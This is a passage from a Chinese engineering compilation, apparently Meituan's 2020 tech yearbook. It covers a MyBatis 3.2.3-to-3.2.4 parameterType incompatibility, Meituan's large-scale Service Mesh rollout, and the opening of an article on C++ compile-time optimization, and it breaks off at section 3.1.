 ● ParameterHandler：负责对用户传递的参数转换成 JDBC Statement 所需

要的参数。

 ● TypeHandler：负责 Java 数据类型和 JDBC 数据类型之间的映射和转换。

我们主要关注获取 BoundSql 以及参数化语句的流程，这也是 3.2.3 和 3.2.4 差

异比较大的一个地方。在进入 Executor 的 Query 方法后，会首先通过对应的

MappedStatement 来获取 BoundSql，用来帮助我们动态生成 SQL 语句，里面绑

定了对应的 SQL 以及参数映射关系。在构建框架阶段，我们使用的 SqlSource 是

DynamicSqlSource，通过这个类来生成获取 BoundSql，如下图 6 所示：

图 6　获取 BoundSql
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通过图 6 的代码，我们可以得知，parameterType 在初始化阶段未被使用，而是在

SQL 执行时获取到的，但获取到的类型是 parameterObject 对应的类型，这个类是

用来记录 Mapper 方法上对应的参数。如下图 7 所示，它并非在 SQL 配置文件中标

注的 java.lang.String。

图 7　parameterObject 类型

然后我们通过 SqlSourceBuilder 的 parse 方法对 SQL 以及获取到的类型进行再次

处理，其中的流程代码比较长。在这个过程中，我们主要去构建 SQL 的参数和 Java

类型的绑定关系，MyBatis 依赖这个绑定关系，使用对应的 TypeHandler 去进行值

的转换。

调用链路是 SqlSourceParser.parse -> 内部类 ParameterMappingToken-

Handler.handleToken -> 私有方法 buildParameterMapping，如下图 8 中的

代码所示。因为当前的 parameterType 为 MapperMethod$ParamMap，经过了多

个 if 判断，判定当前 property id 的 propertyType 为 Object.class 类型。接下来，构

建 SQL 的参数和 Java 类型的绑定关系 ParameterMapping，再进行返回。
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图 8　buildParameterMapping 过程

构建完成的 ParameterMapping 的结构如下图 9 中的代码所示，参数 id 对应的

javaType 类 型 为 java.lang.Object， 对 应 的 TypeHander 处 理 器 为 Unknown-

TypeHandler，也就是未找到合适的 TypeHandler 的兜底选项。

图 9　ParameterMapping 结构
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接 下 来， 流 程 就 会 流 转 到 Executor， 在 org.apache.ibatis.executor.

SimpleExecutor#doQuery 进行查询时，会根据当前的 SQL 类型，生成对应的

StatementHandler。因为我们目前都是用的预编译 SQL，因此生成的 statemen-

tHandler 就是 PreparedStatementHandler，熟悉 JDBC 的小伙伴应该马上可以

猜到对应的语句是什么类型了。然后，我们对这句 SQL 语句进行填充，如下图 10

中的代码所示。我们会通过 PreparedStatementHandler 的 parameterize 方法对

Statement 进行参数化，也就是进行填充。

图 10　PrepareStatement 处理过程

在 PreparedStatementHandler 进行参数化时，会将参数化的职责交给 Default-

ParameterHandler 处理。如下图 11 中的代码所示，我们主要关注红线部分，首

先 会 获 取 ParameterMapping 对 应 的 TypeHander， 如 前 文 所 述， 获 取 到 的 是

UnknownTypeHandler，然后会通过 setParameter 方法，将参数 id 替换成对应的值。
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在 Typehandler 的流程里，首先会进入 BaseTypeHandler，然后在具体设置时，

会进入子类的方法。在 UnknownTypeHandler，首先会再次对参数 parameter 进

行解析，判断最正确的 TypeHandler 类型，如下图 12 中的代码所示 :

图 12　获取可用 TypeHandler

在 resolveTypeHandler 方法中，因为已知了参数值的类型，通过 Integer 这个

class 在 typeHandlerRegistry 中寻找对应的 TypeHandler，TypeHandlerReg-

istry 是 MyBatis 启动时内置好的，代表 Java 对象类型和 TypeHandler 的映射

关系，有兴趣的同学可以进入这个类详细看下。在这个例子中，我们会直接获取到

IntegerHandler，如下图 13 中的代码所示 :

图 13　获取 IntegerHandler
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在获取到 IntegerHandler 后，我们就可以使用 IntegerTypeHandler 的 setInt

方法，对 SQL 语句中的参数进行替换。如图 14 中的代码所示，SQL 语句被成功

替换：

图 14　IntegerHander 值替换

后续就是执行 SQL 并处理返回结果，这就不在本文的讨论范围内了。从上文的分析

中，我们可以了解到，在 3.2.3 及以下版本，MyBatis 会忽略 parameterType，在

真正进行 SQL 转换时，重新根据 SQL 方法入参类型，然后计算合适的 TypeHan-

dler 处理器，所以本案例中的代码在 3.2.3 版本时，它在运行时是正常的。

以版本 3.2.4 为例，相比版本 3.2.3，MyBatis 构建 SQL语句过程

的变化分析

在前一章节中，我们得知 MyBatis 在运行 SQL 阶段重新计算参数对应的 Type-

Handler，然后进行 SQL 参数的替换。那么，在版本 3.2.4 中，MyBatis 做了什么改

动，从而导致了原有的使用方式变得不可用呢？从官方的 Release Log 来看，版本

3.2.4 做了这样的一个改动。

 This version builds the binding information during startup and the 

“parameterType” attribute is used

这个意思是说：parameterType 会在框架初始化阶段阶段就被使用到。我们将

分析的重点放在构建阶段，因为负责处理绑定关系的 BoundSql 由配置阶段的

SqlSource 生成，我们主要查看 SqlSource 的构建，在 3.2.4 中发生了什么变化。

如图 15 所示，与 3.2.3 不同，3.2.4 首先判断了是否为动态 SQL，在非动态 SQL

情况下，才会将 parameterType java.lang.String 作为参数，传入 SqlSource 的构

造方法。
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图 15　生成 SqlSource

而 后 续 流 程 与 3.2.3 一 致， 因 为 parameter 类 型 为 java.lang.String， 在 构 建

parameterMapping 时，使用的类型就是 java.lang.String。

图 16　构建 ParameterMapping 与 3.2.3 版本的差异

因为在框架初始化阶段，SqlSource 的 ParameterMapping 中 id 对应的类型就是

java.lang.String，这就导致在进行 SQL 语句的替换时，获取到的 TypeHandler 是

StringTypeHandler，如下图 17 所示：
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图 17　整数类型的参数获取到了 StringTypeHandler

后面的报错原因就比较好理解了，在调用 StringTypeHandler 的 setString 方法时，

报 出 了 java.lang.ClassCastException: java.lang.Integer cannot 

be cast to java.lang.String 的错误。

总结

我们总结一下这个案例因：

MyBatis 3.2.3 版本支持 parameterType 和实际参数类型不匹配，在执行 SQL 阶

段，动态计算值处理器类型。在大版本升级 2 个版本号后，parameterType 实际的

类型开始生效，使用对应这个类型的 TypeHandler 对 SQL 进行参数替换，会导致

Mapper 方法中的参数和 XML 中的 parameterType 不匹配时，进而会出现类型转

换报错。

这一段排查的经历，对自己后续编写代码及在系统上线时也有一些启发，主要包括以

下几个方面：
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 ● 在 inf-bom 升级时，需要线下进行全面回归，要避免框架存在不兼容的用法，

不然的话，就容易导致线上错误。

 ● 开发同学可以检查自己系统内的 MyBatis 版本，如果是 3.2.4 以下，需要全面

检查下现在的 Mapper 文件里对于 parameterType 的使用和 Mapper 方法

中实际的参数类型是否一致，避免升级到 3.2.4 及以上版本时发生转型报错。

如果有不匹配的情况存在，需要进行修正或者不使用 parameterType，让

MyBatis 在运行 SQL 时自动计算对应的类型。

 ● 可以考虑使用 MyBatis-Generator 来自动生成 XML 和 Mapper 文件，毕

竟是专业团队在维护，稳定性相对来说会更好一些，同时能够避免手动修改

XML 文件带来的误操作。

 ● 可以主动关注强依赖的一些开源框架的 Release Log，不要错过了重要的信息。

参考资料
带你一步一步手撕 MyBatis 源码加手绘流程图——构建部分

带你一步一步手撕 MyBatis 源码加手绘流程图——执行部分

MyBatis 源码解析（三）—缓存篇
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复杂环境下落地Service	Mesh的挑战与实践

作者：继东　薛晨　业祥　张昀

导读

在私有云集群环境下建设 Service Mesh ，往往需要对现有技术架构做较大范围的改

造，同时会面临诸如兼容困难、规模化支撑技术挑战大、推广困境多等一系列复杂性

问题。本文会系统性地讲解在美团在落地 Service Mesh 过程中，我们面临的一些挑

战及实践经验，希望能对大家有所启发或者帮助。

一、美团服务治理建设进展

1.1	服务治理发展史

首先讲一下 OCTO，此前美团技术团队公众号也分享过很相关的文章，它是美团标

准化的服务治理基础设施，现应用于美团所有事业线。OCTO 的治理生态非常丰富，

性能及易用性表现也很优异，可整体概括为 3 个特征：

1. 属于公司级的标准化基础设施。技术栈高度统一，覆盖了公司 90% 以上的应

用，日均调用量达数万亿次。

2. 经历过较大规模的技术考验。覆盖数万个服务、数十万个节点。

3. 治理能力丰富。协同周边治理生态，实现了 SET 化、链路级复杂路由、全链

路压测、鉴权加密、限流熔断等治理能力。

回顾美团服务治理体系的发展史，历程整体上划分为四个阶段：

1. 第一阶段是基础治理能力统一。实现通信框架及注册中心的统一，由统一的

治理平台支撑节点管理、流量管理、监控预警等运营能力。

2. 第二阶段重点提升性能及易用性。4 核 4GB 环境下使用 1KB 数据进行 echo 

测试，QPS 从 2 万提升至接近 10 万，99 分位线 1ms；也建设了分布式链

https://tech.meituan.com/tags/octo.html
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路追踪、分阶段耗时精细埋点等功能。

3. 第三阶段是全方位丰富治理能力。落地了全链路压测平台、性能诊断优化平

台、稳定性保障平台、鉴权加密等一系列平台，也实现了链路级别的流量治

理，如全链路灰度发布等。

4. 第四阶段是建设了跨地域的容灾及扩展能力。在每天数千万订单量级下实现

了单元化，也实现了所有 PaaS 层组件及核心存储系统的打通。

1.2	服务治理体系的困境

目前，美团已具备了较完善的治理体系，但仍有较多的痛点及挑战。大的背景是公司

业务蓬勃发展，业务愈发多元化，治理也愈发精细化，这带来了较多新的问题：

1. 业务与中间件强耦合，制约彼此迭代。当中间件引入 Bug，可能成百上千、

甚至数千个业务需要做配合升级，中间件的新特性也依赖业务升级后才能使

用，成本很高。

2. 中间件版本碎片化严重。发布出去的组件基本托管在业务侧，很难统一进行

管控，这也频繁造成业务多类的问题。

3. 异构体系融合难。新融入公司的技术体系往往与美团不兼容，治理体系打通

的成本很高，难度也很大。此前，美团与大众点评打通治理，不包含业务迁

移，就历时 1 年半的时间；近期，摩拜使用的 gRPC 框架也无法与系统进行

通信，但打通迫在眉睫。

4. 非 Java 语言治理体系能力弱，多个主流语言无官方 SDK。多元业务场景下，

未来多语言也是个趋势，比如在机器学习领域，Python 语言不太可能被其他

语言完全代替。



后台　<　519

二、服务治理体系优化的思路与挑战

2.1	优化思路

总结来看，OCTO 在服务层实现了统一抽象来支撑业务发展，但它并未解决这层架

构可以独立演进的问题。

1.2 节中问题 1 与问题 2 的本质是“耦合”，问题 3 与问题 4 的本质是“缺乏标准服

务治理运行时”。在理想的架构中，异构语言、异构治理体系可以共用统一的标准治

理运行时，仅在业务使用的 SDK 部分有轻微差异。

所以，我们整体的优化思路分为三步：隔离解耦，在隔离出的基础设施层建设标准化

治理运行时，标准之上建体系。

上述解决方案所对应的新架构模式下，各业务进程会附属一个 Proxy 进程，SDK 发

出以及接收的流量均会被附属的 Proxy 拦截。像限流、路由等治理功能均由 Proxy 

和中心化的控制大脑完成，并由控制面对接所有治理子系统集成。这种模式下 SDK 

很轻薄，异构的语言、异构的治理体系就很容易互通，从而实现了物理解耦，业界将

这种模式称为 Service Mesh（其中 Proxy 被称为数据面、中心化控制大脑被称为控

制面）。



520　>　美团 2020 技术年货

2.2	复杂性挑战

美团在实践中所面临的复杂性划主要包括以下 4 类：

1. 兼容性：技术改造涉及范围较大，一方面需要通过保证现有通信方式及平台使

用方式不变，从而来保障业务研发效率，另一方面也要解决运行载体多样性、

运维体系兼容等问题。

2. 异构性：第一是多语言互通问题；第二是打通治理体系内的众多治理子系统，

像服务鉴权、注册中心等系统的存储及发布订阅机制都是不同的；第三是快速

打通新融入公司的异构治理体系。

3. 大规模支撑：出于性能方面考虑，开源 Istio 等产品不宜直接应用于大规模的

生产环境，美团控制面需具备百万级链接下高吞吐、低延迟、高精确的系统

能力。

4. 重交易型业务容错性低：交易型业务场景下，业务对 Service Mesh 的性能、

稳定性往往持怀疑态度；美团基础架构团队也强调在业务价值导向下，基于实

际业务价值进行运营推广，而不是采用从上至下的偏政策性推广方式。
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三、美团落地 Service Mesh 的解决方案

3.1	整体架构

美团采用数据面基于 Envoy 二次开发、控制面自研为主、SDK 协同升级的方案（内

部项目名是 OCTO Mesh ）。架构简介如下：

 ● 各语言轻薄的 SDK 与 Proxy 通过 UDS（Unix Domain Socket）交互，主要

出发点是考虑到相比透明流量劫持，UDS 性能与可运维性更好。

 ● 控制面与 Proxy 通过双向流通信，控制面与治理生态的多个子系统交互，并

将计算处理过的治理数据及策略数据下发给 Proxy 执行，协同配合完成路由、

限流等所有核心治理功能。

 ● 控制面内部的 5 个模块都是自研的独立服务。

 ○ Pilot 承载核心治理能力，与 Proxy 直接交互。

 ○ Dispatcher 负责屏蔽异构子系统差异。

 ○ 集中式健康检查管理节点状态。

 ○ Config Server 管理 Mesh 体系内相关的策略，并将 Pilot 有状态的部分尽

量迁移出来。

 ○ 监控及巡检系统负责提升稳定性。

 ● 自研了的 Meta Server 系统实现 Mesh 体系内部的节点注册和寻址，通过管

理控制面与数据面的链接关系，也实现了按事业群隔离、水平扩展等能力。
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3.2	兼容性解决方案

兼容性的目标及特征用一句话来总结就是：业务接入无感知。为此，我们做了以下三

件事情：

(1) 与现有基础设施及治理体系兼容

 ● 将 Service Mesh 与 OCTO 深度打通，确保各治理子系统的使用方式都不变。

 ● 运行载体方面，同时支持容器、虚拟机、物理机。

 ● 打通运维体系，保证服务治理基础设施处于可管理、可监测的状态。

(2) 协议兼容

 ● 服务间调用往往是多对多的关系，一般调用端与服务端无法同时升级，为支持 

Mesh 与非 Mesh 的互通，增强后的协议对业务完全透明。

 ● 与语义相关的所有内容（比如异常等），均在 SDK 与 Proxy 之间达成共识，保

证兼容。

 ● 无法在控制面及数据面中实现的能力，在 SDK 中执行并通过上下文传递给 

Proxy，保障功能完全对齐，当然这种情况应该尽量避免的。

(3) Mesh 与非 Mesh 模式的无缝切换

 ● 基于 UDS 通信必然需要业务升级一次 SDK 版本，我们在 2020 年初时预先

发布早做部署，确保当前大部分业务已经升级到新版本，但默认仍是不开启 

Mesh 的状态。

 ● 在可视化平台上面通过开关操作，几乎无成本实现从 Mesh 模式与非 Mesh 

模式的切换，并具备实时生效的能力。

3.3	异构性解决方案

异构性的目标及特征用一句话总结就是：标准化服务治理运行时。具体可拆分为 3 个

子目标：

 ● 标准化美团内部 6 种语言的治理体系。

 ● 架构层面由控制面统一对接各个治理子系统，屏蔽注册中心、鉴权、限流等系
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统具体实现机制的异构性。

 ● 支持摩拜及未来新融入公司的异构治理体系与公司整体的快速融合。

针对上述 3 个子目标，我们所采取的方案如下：

 ● 将数据面 + 控制面定义为标准化的服务治理运行时，在标准运行时内打通所有

治理能力。

 ● 建设统一接入中心系统 Dispatcher ，并由其对接并屏蔽治理子系统的异构性，

从而实现外部系统的差异对 Pilot 透明；下图中 Dispatcher 与 Pilot 直接交

互，Meta Server 的作用是避免广播降低冗余。

 ● 重构或从零建设 SDK，目前使用的 6 种语言 SDK 均已落地并使用。

 ● 异构语言、异构体系均使用增强的统一协议交互，实现互通。

通过 Service Mesh 实现体系融合的前后对比如下：

 ● 引入 Service Mesh 前，单车向公司的流量以及公司向单车的流量，均是由中

间的 adaptor 单点服务承接。除稳定性有较大隐患外，所有交互逻辑均需要开

发两份代码，效率较差。

 ● 引入 Service Mesh 后，在一套服务治理设施内打通并直接交互，消除了中

心 adaptor 带来的稳定性及研发效率方面的缺陷；此外整个打通在 1 个月内完

成，异构体系融合效率很高。
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通过上述方案，针对异构性方面取得了较好的效果：

 ● 标准化 6 种语言治理体系，非 Java 语言的核心治理能力基本对齐 Java；新

语言也很容易融入，提供的官方 Python 语言、Golang 语言的通信框架新版

本（依托于 OCTO Mesh），开发成本均控制在 1 个月左右。

 ● 支持异构治理子系统通过统一接入中心快速融入，架构简洁、扩展性强。

 ● 支持异构治理体系快速融合并在单车侧落地，异构治理体系打通成本也从 1.5 

年降低到 1 个月。

3.4	规模化解决方案

3.4.1	开源	Istio	问题分析

规模化的目标及特征用一句话总结是：具备支撑数万服务、百万节点体量的系统能

力，并支持水平扩展。挑战主要有 3 个：

 ● 美团体量是最流行开源产品 Istio 上限的上千倍。

 ● 极高的实时性、准确性要求；配置下发错误或丢失会直接引发流量异常。

 ● 起步较早，业界参考信息很少。

经过对 Istio 架构进行深入分析，我们发现核心问题聚焦在以下 3 个瓶颈点：

 ● 每个控制面实例有 ETCD 存储系统的全部数据，无法水平扩展。

 ● 每个 Proxy 链接相当于独立与 ETCD 交互，而同一个服务的 Proxy 请求内容

都相同，独立交互有大量的 I/O 冗余。当 Proxy 批量发版或网络抖动时，瞬

时风暴很容易压垮控制面及 ETCD。
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 ● 每个节点都会探活所有其他节点。10 万节点规模的集群，1 个检测周期有 

100 亿次探活，会引发网络风暴。

3.4.2	措施一：横向数据分片

针对 Istio 控制面各实例承载全集群数据的问题，对应的措施是通过横向逻辑数据分

片支持扩展性，具体方案设计如下：

 ● Proxy 启动时会去向 Meta Server 系统请求需要连接的 Pilot IP，Meta 

Server 将相同服务的 Proxy 尽量落到同一个控制面节点（内部策略更为复

杂，还要考虑地域、负载等情况），这样每个 Pilot 实例按需加载而不必承载

所有数据。

 ● 控制面节点异常或发布更新时，其所管理的 Proxy 也会有规律的迁移，恢复后

在一定时间后还会接管其负责的 Proxy，从而实现了会话粘滞，也就实现逻辑

上面的数据分片。
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通过管理链接关系实现了按事业群隔离、按服务灰度等平台能力，最关键的还是解决

了 Mesh 体系水平扩展的问题。

3.4.3	措施二：纵向分层订阅

针对 Istio 独立管理各 Proxy 链接的 I/O 冗余问题，对应的措施是通过分层订阅减少

冗余 I/O。Proxy 不直接与存储等系统对接，而是在中间经过一系列的处理，关键点

有两个：

 ● 关键点 1：基于快照缓存 + 索引的机制来减少 ZK watcher 同步。以注册中心

为例，常规实现方式下，如果每个 Proxy 关注 100 个节点，1 万个节点就会

注册 100 万个 watcher，相同服务的 Proxy 所关注内容是相同的，另外不同

服务 Proxy 所关注的也有很多交集，其中包含大量的冗余。分层订阅模式下，

Proxy 不与注册中心直接交互，通过中间的快照缓存与分层，确保每个 Pilot 

实例中 ZK 相同路径的监听最多只用 1 个 watcher，获取到 watcher 通知后，

Pilot 根据内部的快照缓存 + 索引向所有关注者分发，大大降低了冗余。

 ● 关键点 2：治理能力层及会话管理层实现了类似于 I/O 多路复用能力，通过并

发提升吞吐。

结果方面有效应对了网络抖动或批量发版的瞬间风暴压力，压测单 Pilot 实例可以承

载 6 万以上的链接，时延 TP99 线 < 2.3ms、数据零丢失。
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3.4.4	措施三：集中式健康检测

针对大规模集群内指数级膨胀的节点间健康监测次数，对应的措施是摒弃了 P2P 检

测模式，我们参考并优化了 Google 的 Traffic Drector 中心化管理的健康检测模式。

这种模式下检测次数大大减少，一个周期内 10 万节点集群的检测次数，从 100 亿次

下降到 10 万次。

此外，当 Pilot 感知到 Proxy 异常时，会立即通知中心化健康检测系统启动检测，而

不是等待检测周期窗口的到来，这可以有效提升业务调用的成功率。

3.5	交易型场景困境下的解决方案

3.5.1	业务属性分析

美团内部业务线较多，包括外卖、配送、酒店、旅游、单车、团购等，其中绝大多数

业务都带有交易属性，交易链路上一个流量异常就可能影响到订单。业务系统对新技

术领域的探索往往比较慎重，期望在新技术充分验证后再启动试点，所以除小语种及

亟待与公司打通的单车业务外，推广的难度是非常大的。此外，基础架构部秉承“以

客户为中心”的原则，研发、运维、测试人员均是我们的“客户”，所以技术升级会

重点从业务价值入手，并非简单依靠从上至下的政策推动力。

所以，我们对外的承诺是：通信足够快、系统足够稳定、接入足够平滑高效。
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3.5.2	精细化运营体系建设

针对推广的困境，我们首先做了两件事情：

 ● 寻找具备强诉求的业务试点，客观来说，美团技术栈内这类业务数量非常有限。

 ● 寻求标杆核心业务试点，充分验证后推广给其他业务，但效果并不理想，与业

务稳定性的诉求并不匹配。

针对上述困境，我们进行深度思考后建立了一个精细化的运营体系：

 ● 服务接入 Mesh 前。基于 SOA 分级将服务划分为非核心与核心两类，先针对

非核心服务以及所有服务的线下环境进行重点突破，实现了在广泛的业务场景

下，全面且充分的验证系统能力。

 ● 服务接入 Mesh 中。运营系统通过校验 SDK 版本、运行时环境等信息，自动

筛选出满足条件的服务，业务同学只需要在平台上做（1）开启开关、（2）选择

节点（3）指定 Mesh 流量比例三个步骤，就完成了到 Mesh 模式的切换，不

需代码改造也不需发布服务，整个过程基本在 1 分钟左右完成；此外，通过与 

IM 工具深度联动，提升了推广与数据运营的效率。

 ● 服务接入 Mesh 后。一方面，业务侧包括架构侧的运营有详细的数据指标做对

比参考；另一方面，运营系统支持预先设置稳定性策略并做准实时的检测，当

某个接入服务 Mesh 模式异常时，即时自动切换回非 Mesh 模式。
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运营体系具备 “接入过程无感”、“精细化流量粒度灰度”、“异常自动回滚恢复” 三个

核心能力，在运营体系建设后推广运营较为顺利，目前线上接入的 600+ 服务、线下

接入的 3500+ 服务中，90% 以上是依托运营平台接入 Mesh 的。

3.5.3	通信性能优化

在性能损耗优化这个方向，除使用 UDS 规避网络栈外，我们也通过增量聚合下发、

序列化优化两个措施减少不必要的解包，提升了通信性能。

经过压测，去除非核心功能在 2 核 4G 环境用 1KB 数据做 echo 测试，QPS 在 

34000 以上，一跳平均延迟 0.207ms，时延 TP99 线 0.4ms 左右。

3.5.4	流量多级保护

美团落地 Service Mesh 在稳定性保障方面建设投入较多，目前尚无 Service Mesh 

引发的故障，具体包含三个方面：

 ● 首先做了流量多级保护

 ○ 一方面，当 Proxy 不可用时，流量会自动 fallback 到非 Mesh 模式；另一

方面，支持最精细支持按单节点的 1/1000 比例灰度。下图是具体的交互流

程，当然，这两个特性与 Service Mesh 的最终形态是冲突的，只是作为

系统建设初期优先保证业务稳定性的过渡性方案，长期来看必然是要去除的

（包括美团一些核心服务已经完全去除）。

 ○ 基于 FD 迁移 + SDK 配合协议交互，实现 Proxy 无损热重启的能力。

 ● 控制面下发错误配置比停发配置的后果更为严重，我们建设了应用层面及系统

层面的周期巡检，从端到端的应用视角验证正确性，避免或减少因变更引发的

异常。

 ● 系统交互方面，通过限流、熔断对中心化控制面做服务保护；系统内柔性可用，

当控制面全部异常时，缓存机制也能协助 Proxy 在一定时间内可用。
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四、总结

本文系统性的介绍美团在 Service Mesh 落地进程中面临的“兼容性”、“异构性”、

“规模化”、“交易属性业务容错性低”这四类复杂性挑战，针对上述挑战，我们也详

细介绍了大规模私有云集群场景下的优化思考及实践方案。

基于上述实践，目前美团线上落地服务数超过 600，线下服务数超过 3500+，初步

验证了模式的可行性。短期价值方面，我们支持了摩拜等异构治理体系的快速融合、

多语言治理能力的统一；长期价值仍需在实践中继续探索与验证，但在标准化服务治

理运行时并与业务解耦、中心化管控下更丰富的治理能力输出两个方面，是非常值得

期待的。
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C++服务编译耗时优化原理及实践

作者：周磊

一、背景

大型 C++ 工程项目，都会面临编译耗时较长的问题。不管是开发调试迭代、准入测

试，亦或是持续集成阶段，编译行为无处不在，降低编译时间对提高研发效率来说具

有非常重要意义。

美团搜索与 NLP 部为公司提供基础的搜索平台服务，出于性能的考虑，底层的基础

服务通过 C++ 语言实现，其中我们负责的深度查询理解服务（DeepQueryUnder-

standing，下文简称 DQU）也面临着编译耗时较长这个问题，整个服务代码在优化前

编译时间需要二十分钟左右（32 核机器并行编译），已经影响到了团队开发迭代的效

率。基于这样的背景，我们针对 DQU 服务的编译问题进行了专项优化。在这个过程

中，我们也积累了一些优化的知识和经验，在这里分享给大家。

二、编译原理及分析

2.1	编译原理介绍

为了更好地理解编译优化方案，在介绍优化方案之前，我们先简单介绍一下编译原

理，通常我们在进行 C++ 开发时，编译的过程主要包含下面四个步骤：

预处理器：宏定义替换，头文件展开，条件编译展开，删除注释。

 ● gcc -E 选项可以得到预处理后的结果，扩展名为 .i 或 .ii。
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 ● C/C++ 预处理不做任何语法检查，不仅是因为它不具备语法检查功能，也因

为预处理命令不属于 C/C++ 语句（这也是定义宏时不要加分号的原因），语法

检查是编译器要做的事情。

 ● 预处理之后，得到的仅仅是真正的源代码。

编译器：生成汇编代码，得到汇编语言程序（把高级语言翻译为机器语言），该种语

言程序中的每条语句都以一种标准的文本格式确切的描述了一条低级机器语言指令。

 ● gcc -S 选项可以得到编译后的汇编代码文件，扩展名为 .s。

 ● 汇编语言为不同高级语言的不同编译器提供了通用的输出语言。

汇编器：生成目标文件。

 ● gcc -c 选项可以得到汇编后的结果文件，扩展名为 .o。

 ● .o 文件，是按照的二进制编码方式生成的文件。

链接器：生成可执行文件或库文件。

 ● 静态库：指编译链接时，把库文件的代码全部加入到可执行文件中，因此生成

的文件比较大，但在运行时也就不再需要库文件了，其后缀名一般为“.a”。

 ● 动态库：在编译链接时并没有把库文件的代码加入到可执行文件中，而是在程

序执行时由运行时链接文件加载库，这样可执行文件比较小，动态库一般后缀

名为“.so”。

 ● 可执行文件：将所有的二进制文件链接起来融合成一个可执行程序，不管这些

文件是目标二进制文件还是库二进制文件。

2.2	C++编译特点

（1）每个源文件独立编译

C/C++ 的编译系统和其他高级语言存在很大的差异，其他高级语言中，编译单元是

整个 Module，即 Module 下所有源码，会在同一个编译任务中执行。而在 C/C++

中，编译单元是以文件为单位。每个 .c/.cc/.cxx/.cpp 源文件是一个独立的编译单
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元，导致编译优化时只能基于本文件内容进行优化，很难跨编译单元提供代码优化。

（2）每个编译单元，都需要独立解析所有包含的头文件

如果 N 个源文件引用到了同一个头文件，则这个头文件需要解析 N 次（对于 Thrift 文

件或者 Boost 头文件这类动辄几千上万行的头文件来说，简直就是“鬼故事”）。

如果头文件中有模板（STL/Boost），则该模板在每个 cpp 文件中使用时都会做一次

实例化，N 个源文件中的 std::vector 会实例化 N 次。

（3）模板函数实例化

在 C++ 98 语言标准中，对于源代码中出现的每一处模板实例化，编译器都需要去做

实例化的工作；而在链接时，链接器还需要移除重复的实例化代码。显然编译器遇到

一个模板定义时，每次都去进行重复的实例化工作，进行重复的编译工作。此时，如

果能够让编译器避免此类重复的实例化工作，那么可以大大提高编译器的工作效率。

在 C++ 0x 标准中一个新的语言特性 – 外部模板的引入解决了这个问题。

在 C++ 98 中，已经有一个叫做显式实例化（Explicit Instantiation）的语言特性，它

的目的是指示编译器立即进行模板实例化操作（即强制实例化）。而外部模板语法就是

在显式实例化指令的语法基础上进行修改得到的，通过在显式实例化指令前添加前缀

extern，从而得到外部模板的语法。

① 显式实例化语法：template class vector。 ② 外部模板语法：extern template 

class vector。

一旦在一个编译单元中使用了外部模板声明，那么编译器在编译该编译单元时，会跳

过与该外部模板声明匹配的模板实例化。

（4）虚函数

编译器处理虚函数的方法是：给每个对象添加一个指针，存放了指向虚函数表的地

址，虚函数表存储了该类（包括继承自基类）的虚函数地址。如果派生类重写了虚函

数的新定义，该虚函数表将保存新函数的地址，如果派生类没有重新定义虚函数，该
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虚函数表将保存函数原始版本的地址。如果派生类定义了新的虚函数，则该函数的地

址将被添加到虚函数表中。

调用虚函数时，程序将查看存储在对象中的虚函数表地址，转向相应的虚函数表，使

用类声明中定义的第几个虚函数，程序就使用数组的第几个函数地址，并执行该函数。

使用虚函数后的变化：

① 对象将增加一个存储地址的空间（32 位系统为 4 字节，64 位为 8 字节）。 ② 每个

类编译器都创建一个虚函数地址表。 ③ 对每个函数调用都需要增加在表中查找地址

的操作。

（5）编译优化

GCC 提供了为了满足用户不同程度的的优化需要，提供了近百种优化选项，用来对

编译时间，目标文件长度，执行效率这个三维模型进行不同的取舍和平衡。优化的方

法不一而足，总体上将有以下几类：

① 精简操作指令。 ② 尽量满足 CPU 的流水操作。 ③ 通过对程序行为地猜测，重新

调整代码的执行顺序。 ④ 充分使用寄存器。 ⑤ 对简单的调用进行展开等等。

如果全部了解这些编译选项，对代码针对性的优化还是一项复杂的工作，幸运的是

GCC 提供了从 O0-O3 以及 Os 这几种不同的优化级别供大家选择，在这些选项中，

包含了大部分有效的编译优化选项，并且可以在这个基础上，对某些选项进行屏蔽或

添加，从而大大降低了使用的难度。

 ● O0：不做任何优化，这是默认的编译选项。

 ● O 和 O1：对程序做部分编译优化，编译器会尝试减小生成代码的尺寸，以及

缩短执行时间，但并不执行需要占用大量编译时间的优化。

 ● O2：是比 O1 更高级的选项，进行更多的优化。GCC 将执行几乎所有的不包

含时间和空间折中的优化。当设置 O2 选项时，编译器并不进行循环展开以及

函数内联优化。与 O1 比较而言，O2 优化增加了编译时间的基础上，提高了
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生成代码的执行效率。

 ● O3：在 O2 的基础上进行更多的优化，例如使用伪寄存器网络，普通函数的内

联，以及针对循环的更多优化。

 ● Os：主要是对代码大小的优化， 通常各种优化都会打乱程序的结构，让调试工

作变得无从着手。并且会打乱执行顺序，依赖内存操作顺序的程序需要做相关

处理才能确保程序的正确性。

编译优化有可能带来的问题：

① 调试问题：正如上面所提到的，任何级别的优化都将带来代码结构的改变。例如：

对分支的合并和消除，对公用子表达式的消除，对循环内 load/store 操作的替换和更

改等，都将会使目标代码的执行顺序变得面目全非，导致调试信息严重不足。

② 内存操作顺序改变问题：在 O2 优化后，编译器会对影响内存操作的执行顺序。例

如：-fschedule-insns 允许数据处理时先完成其他的指令；-fforce-mem 有可能导

致内存与寄存器之间的数据产生类似脏数据的不一致等。对于某些依赖内存操作顺序

而进行的逻辑，需要做严格的处理后才能进行优化。例如，采用 Volatile 关键字限制

变量的操作方式，或者利用 Barrier 迫使 CPU 严格按照指令序执行。

(6)C/C++ 跨编译单元的优化只能交给链接器

当链接器进行链接的时候，首先决定各个目标文件在最终可执行文件里的位置。然后

访问所有目标文件的地址重定义表，对其中记录的地址进行重定向（加上一个偏移量，

即该编译单元在可执行文件上的起始地址）。然后遍历所有目标文件的未解决符号表，

并且在所有的导出符号表里查找匹配的符号，并在未解决符号表中所记录的位置上

填写实现地址，最后把所有的目标文件的内容写在各自的位置上，就生成一个可执

行文件。链接的细节比较复杂，链接阶段是单进程，无法并行加速，导致大项目链

接极慢。
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三、服务问题分析

DQU 是美团搜索使用的查询理解平台，内部包含了大量的模型、词表、在代码结构

上，包含 20 多个 Thrift 文件 ，使用大量 Boost 处理函数 ，同时引入了 SF 框架，

公司第三方组件 SDK 以及分词三个 Submodule，各个模块采用动态库编译加载的

方式，模块之间通过消息总线做数据的传输，消息总线是一个大的 Event 类，这样这

个类就包含了各个模块需要的数据类型的定义，所以各个模块都会引入 Event 头文

件，不合理的依赖关系造成这个文件被改动，几乎所有的模块都会重新编译。

每个服务所面临的编译问题都有各自的特点，但是遇到问题的本质原因是类似的，结

合编译的过程和原理，我们从预编译展开、头文件依赖以及编译过程耗时 3 个方面对

DQU 服务编译问题进行了分析。
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3.1	编译展开分析

